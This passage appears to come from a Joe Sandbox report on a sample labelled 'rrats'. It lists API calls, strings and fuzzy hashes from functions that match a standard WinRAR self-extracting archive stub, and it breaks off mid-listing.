GetWindowLongW.USER32(00000000,000000F0), ref: 00CBBDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00CBBDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CBBE68
_wcslen.LIBCMT ref: 00CBBEBE
_swprintf.LIBCMT ref: 00CBBEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 00CBBF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00CBBF4C
GetDlgItem.USER32(?,00000068), ref: 00CBBF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00CBBF6B
GetDlgItem.USER32(?,00000066), ref: 00CBBF85
SetWindowTextW.USER32(00000000,00CEA472), ref: 00CBBFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00CBC007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CBC01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 00CBC0BD
EnableWindow.USER32(00000000,00000000), ref: 00CBC197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00CBC1D9

Part of subcall function 00CBC73F: __EH_prolog.LIBCMT ref: 00CBC744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CBC1FD

Strings

winrarsfxmappingfile.tmp, xrefs: 00CBBBA6
"%s"%s, xrefs: 00CBBD0D
STARTDLG, xrefs: 00CBB801
LICENSEDLG, xrefs: 00CBC0B2
C:\Users\user\Desktop, xrefs: 00CBBBC9
@, xrefs: 00CBBB91
%s, xrefs: 00CBBED8
__tmp_rar_sfx_access_check_%u, xrefs: 00CBBAB5
-el -s2 "-d%s" "-sp%s", xrefs: 00CBBB6B
<, xrefs: 00CBBB84

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$DialogErrorLast$H_prologLongView_wcslen$CloseCommandCountCreateDispatchEnableExecuteFocusHandleIdleInputLineMappingModuleNameParamShellShowSleepTickTranslateUnmapWait__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 2472041962-311033401
Opcode ID: 1207c14032c5bcc41516b82e1961b994e1c153c7b4c9aed21a33a4bb8185ddcb
Instruction ID: 58acf8636aab97359d517737fcdfb19e305b51ced1f4daab384fd97a2fdc5da4
Opcode Fuzzy Hash: 1207c14032c5bcc41516b82e1961b994e1c153c7b4c9aed21a33a4bb8185ddcb
Instruction Fuzzy Hash: E142E670944399BEEB219BB09C8AFFE7B7CAB01700F040055F655E61E2CBB49E45DB62

Function 00CB0863 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00CB087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00CB088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00CB08BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00CB0B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CB0B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CB0B93
ReadFile.KERNEL32(00000000,?,00007FFE,00CD3C7C,00000000), ref: 00CB0BB1
CloseHandle.KERNEL32(00000000), ref: 00CB0C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00CB0C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00CD3C7C,?,00000000,?,00000800), ref: 00CB0C72
GetFileAttributesW.KERNELBASE(?,?,00CD3C7C,00000800,?,00000000,?,00000800), ref: 00CB0C9C
GetFileAttributesW.KERNEL32(?,?,00CD3D44,00000800), ref: 00CB0CD8

Part of subcall function 00CB081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CB0836
Part of subcall function 00CB081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CAF2D8,Crypt32.dll,00000000,00CAF35C,?,?,00CAF33E,?,?,?), ref: 00CB0858

_swprintf.LIBCMT ref: 00CB0D4A
_swprintf.LIBCMT ref: 00CB0D96

Part of subcall function 00CA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA40A5

AllocConsole.KERNEL32 ref: 00CB0D9E
GetCurrentProcessId.KERNEL32 ref: 00CB0DA8
AttachConsole.KERNEL32(00000000), ref: 00CB0DAF
_wcslen.LIBCMT ref: 00CB0DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00CB0DD5
WriteConsoleW.KERNEL32(00000000), ref: 00CB0DDC
Sleep.KERNEL32(00002710), ref: 00CB0DE7
FreeConsole.KERNEL32 ref: 00CB0DED
ExitProcess.KERNEL32 ref: 00CB0DF5

Strings

SetDllDirectoryW, xrefs: 00CB0888
dwmapi.dll, xrefs: 00CB0927, 00CB0D0D
SetDefaultDllDirectories, xrefs: 00CB08B9
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00CB0D84
kernel32, xrefs: 00CB0873
DXGIDebug.dll, xrefs: 00CB08FC, 00CB0C5E
uxtheme.dll, xrefs: 00CB0D17

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: ca86e1d95daeed03c58bb98b66e307e2bfdc3229d33bca8b6397e19bd333ce40
Instruction ID: 0837d853fbedae741bdb9098857ec13a266dc29f47764ac0f82345a9ecbc4401
Opcode Fuzzy Hash: ca86e1d95daeed03c58bb98b66e307e2bfdc3229d33bca8b6397e19bd333ce40
Instruction Fuzzy Hash: 67D151F10093C5ABDB219F50C849BDFBBE8BB85704F50491EF39996291DBB09648CB63

Function 00CBC73F Relevance: 49.4, APIs: 24, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00CBC744

Part of subcall function 00CBB314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00CBB3FB

_wcslen.LIBCMT ref: 00CBCA0A
_wcslen.LIBCMT ref: 00CBCA13
SetWindowTextW.USER32(?,?), ref: 00CBCA71
_wcslen.LIBCMT ref: 00CBCAB3
_wcsrchr.LIBVCRUNTIME ref: 00CBCBFB
GetDlgItem.USER32(?,00000066), ref: 00CBCC36
SetWindowTextW.USER32(00000000,?), ref: 00CBCC46
SendMessageW.USER32(00000000,00000143,00000000,00CEA472), ref: 00CBCC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00CBCC7F

Strings

<br>, xrefs: 00CBC9D4
Software\Microsoft\Windows\CurrentVersion, xrefs: 00CBCB1A
%s.%d.tmp, xrefs: 00CBC940
ProgramFilesDir, xrefs: 00CBCB45

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: eb83b4ffa16be7f84318d728fdd88977d604f3f67f54e04e68e255ab73a86820
Instruction ID: 99991f081c396ea5f5c39c5bf91783011645443057f5cbca505dfc2e25d467af
Opcode Fuzzy Hash: eb83b4ffa16be7f84318d728fdd88977d604f3f67f54e04e68e255ab73a86820
Instruction Fuzzy Hash: 7EE163B2900259AADF24DBA0DC85EEE73BCAB04350F4040AAF619E7151EF749F44DF61

Function 00CADA67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CADA70
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00CADAAC

Part of subcall function 00CAC29A: _wcslen.LIBCMT ref: 00CAC2A2

Part of subcall function 00CB05DA: _wcslen.LIBCMT ref: 00CB05E0

Part of subcall function 00CB1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00CABAE9,00000000,?,?,?,0001046A), ref: 00CB1BA0

_wcslen.LIBCMT ref: 00CADDE9
__fprintf_l.LIBCMT ref: 00CADF1C

Strings

,, xrefs: 00CADF57
a, xrefs: 00CADC16
@%s:, xrefs: 00CADF06, 00CADF12
RTL, xrefs: 00CADEDE
*messages***, xrefs: 00CADBFA
$%s:, xrefs: 00CADEFF
R, xrefs: 00CADC0C
*messages***, xrefs: 00CADBC1
, xrefs: 00CADD6C

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: d835d144b64078ce8faf850e88248a4f94c4340b87f306fa0ea715fa92083267
Instruction ID: 6d56771bd560053d599df51ece3dc9d08da540f73b5aaeae0e59d90d1d6c32d3
Opcode Fuzzy Hash: d835d144b64078ce8faf850e88248a4f94c4340b87f306fa0ea715fa92083267
Instruction Fuzzy Hash: AA32047190021A9BCF24EF68CC41BEE77A4FF06708F40456AFA1697291E7B1DE85DB90

Function 00CBD4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CBB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CBB579
Part of subcall function 00CBB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CBB58A
Part of subcall function 00CBB568: IsDialogMessageW.USER32(0001046A,?), ref: 00CBB59E
Part of subcall function 00CBB568: TranslateMessage.USER32(?), ref: 00CBB5AC
Part of subcall function 00CBB568: DispatchMessageW.USER32(?), ref: 00CBB5B6

GetDlgItem.USER32(00000068,00CFFCB8), ref: 00CBD4E8
ShowWindow.USER32(00000000,00000005,?,?,?,00CBAF07,00000001,?,?,00CBB7B9,00CD506C,00CFFCB8,00CFFCB8,00001000,00000000,00000000), ref: 00CBD510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00CBD51B
SendMessageW.USER32(00000000,000000C2,00000000,00CD35F4), ref: 00CBD529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CBD53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00CBD559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CBD59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00CBD5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CBD5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CBD5E1
SendMessageW.USER32(00000000,000000C2,00000000,00CD43F4), ref: 00CBD5F0

Strings

\, xrefs: 00CBD549

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 813c7f564e031d96277e55b2fe2ec08334bf520c93227eec9fc8d7ed16edec66
Instruction ID: c39e62f4638d847c33ca38c41e0333dbb4e60431581dc3b1e2302ce7c6d92fc2
Opcode Fuzzy Hash: 813c7f564e031d96277e55b2fe2ec08334bf520c93227eec9fc8d7ed16edec66
Instruction Fuzzy Hash: E431CF71146346AFE311DF21AC4AFAB7FACEB86704F000518F655D62E0EB748A0887B6

Function 00CBD78F Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 184
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00CBD7AE
ShellExecuteExW.SHELL32(?), ref: 00CBD8DE
IsWindowVisible.USER32(?), ref: 00CBD911
ShowWindow.USER32(?,00000000), ref: 00CBD91D
WaitForInputIdle.USER32(?,000007D0), ref: 00CBD92E
GetExitCodeProcess.KERNEL32(?,?), ref: 00CBD959
CloseHandle.KERNEL32(?), ref: 00CBD97F
ShowWindow.USER32(?,00000001), ref: 00CBD9E1

Strings

.exe, xrefs: 00CBD989
.inf, xrefs: 00CBD89A

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_wcslen
String ID: .exe$.inf
API String ID: 3646668279-3750412487
Opcode ID: c47b8dcf54fc1a16f3028ab6d6364f3ad7111c977cb84311a936115c4bf3b5be
Instruction ID: de231151d2098269ee19c3552789dd4b7849f569190ee5e6e3fe0afeb951738c
Opcode Fuzzy Hash: c47b8dcf54fc1a16f3028ab6d6364f3ad7111c977cb84311a936115c4bf3b5be
Instruction Fuzzy Hash: 9B51E5708043809ADB309F64A844BFB7BE4AF46744F04041EF5D6972A1FB728F85DB52

Function 00CCA95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00CC57FB,00CC57FB,?,?,?,00CCABAC,00000001,00000001,2DE85006), ref: 00CCA9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00CCABAC,00000001,00000001,2DE85006,?,?,?), ref: 00CCAA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00CCAB35
__freea.LIBCMT ref: 00CCAB42

Part of subcall function 00CC8E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00CC4286,?,0000015D,?,?,?,?,00CC5762,000000FF,00000000,?,?), ref: 00CC8E38

__freea.LIBCMT ref: 00CCAB4B
__freea.LIBCMT ref: 00CCAB70

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 245ba948d1e13530cf56635c5418c7793051f5f33c4d56fbbbae85e789af1e79
Instruction ID: 09d8fee3208e3345e85151fd557d9c8c17fb98e3b4330ff46c023a6a1ed9bd4e
Opcode Fuzzy Hash: 245ba948d1e13530cf56635c5418c7793051f5f33c4d56fbbbae85e789af1e79
Instruction Fuzzy Hash: DB51F272A0021AAFDB258F64CC59FBFB7AAEB40718F15462DFC14D6140EB30DD40E692

Function 00CBDC3B Relevance: 9.0, APIs: 6, Instructions: 42
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00CBDC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CBDC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CBDC72
TranslateMessage.USER32(?), ref: 00CBDC7C
DispatchMessageW.USER32(?), ref: 00CBDC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00CBDC91

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 429d20a1f09219ab811ac04a18f5b1632411be6f957f44b6feff585238e7a34e
Instruction ID: 242c7749d7a0ce8705a077b684fd15e47fbb43a09290e7fb815f35b02531c273
Opcode Fuzzy Hash: 429d20a1f09219ab811ac04a18f5b1632411be6f957f44b6feff585238e7a34e
Instruction Fuzzy Hash: E2F03C72A02219BBCB206BA5DC4CEDF7F6DEF41791F004011B51AE2151E675D646C7B1

Function 00CBCE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00CBCE9D

Part of subcall function 00CAB690: _wcslen.LIBCMT ref: 00CAB696

_swprintf.LIBCMT ref: 00CBCED1

Part of subcall function 00CA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA40A5

SetDlgItemTextW.USER32(?,00000066,00CE946A), ref: 00CBCEF1
EndDialog.USER32(?,00000001), ref: 00CBCFFE

Strings

%s%s%u, xrefs: 00CBCEC6

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: 40230a842c38bc80bfc3b0c5638fab6f48e87a342cff1d66b65f6a2e90f7251d
Instruction ID: 4a25c9531e98adeed804987f3c157732df656213262a79b87ae721443baf1dbc
Opcode Fuzzy Hash: 40230a842c38bc80bfc3b0c5638fab6f48e87a342cff1d66b65f6a2e90f7251d
Instruction Fuzzy Hash: 45415FB1900259AADF259FA0DC85FEE77FCEB05340F4080A6F90AE7191EE709A44DF61

Function 00CC3B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,00CC3C35,00000000,00000FA0,00D02088,00000000,?,00CC3D60,00000004,InitializeCriticalSectionEx,00CD6394,InitializeCriticalSectionEx,00000000), ref: 00CC3C03

Strings

api-ms-, xrefs: 00CC3BC3

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: db882b74eac273bd3bab8faafdcfcc63ced40b7668a02056780d26989eaa4726
Instruction ID: 52baca03c0c62913af53c952ce1905f0eb71615f8be309e607c3a8d44b487bde
Opcode Fuzzy Hash: db882b74eac273bd3bab8faafdcfcc63ced40b7668a02056780d26989eaa4726
Instruction Fuzzy Hash: 38110635A052A1ABCB228B6CEC55F5D37649F05770F214225F925FB2D0E770EF008AD1

Function 00CBABAB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00CBABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 00CBABF9

Part of subcall function 00CB1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00CAC116,00000000,.exe,?,?,00000800,?,?,?,00CB8E3C), ref: 00CB1FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00CBABE9

Strings

@Ut, xrefs: 00CBABF9
EDIT, xrefs: 00CBABCD, 00CBABD8, 00CBABE5

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: @Ut$EDIT
API String ID: 4243998846-2065656831
Opcode ID: f64096bb7f54f2186942f590f6e4131be7b6a620a08f184bb280eebbdd98da5f
Instruction ID: 749da8f7f7489ddb49b1f9b98851cc2afdd61a7db8fe279d8d709b6a4fec9943
Opcode Fuzzy Hash: f64096bb7f54f2186942f590f6e4131be7b6a620a08f184bb280eebbdd98da5f
Instruction Fuzzy Hash: 44F0823260132877DB205A649C09FDB766C9B46B40F494016BA59E2280D761DB45C6B6

Function 00CA98E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00CA7760,?,00000005,?,00000011), ref: 00CA995F
GetLastError.KERNEL32(?,?,00CA7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CA996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00CA7760,?,00000005,?), ref: 00CA99A2
GetLastError.KERNEL32(?,?,00CA7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CA99AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00CA7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CA99F9

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
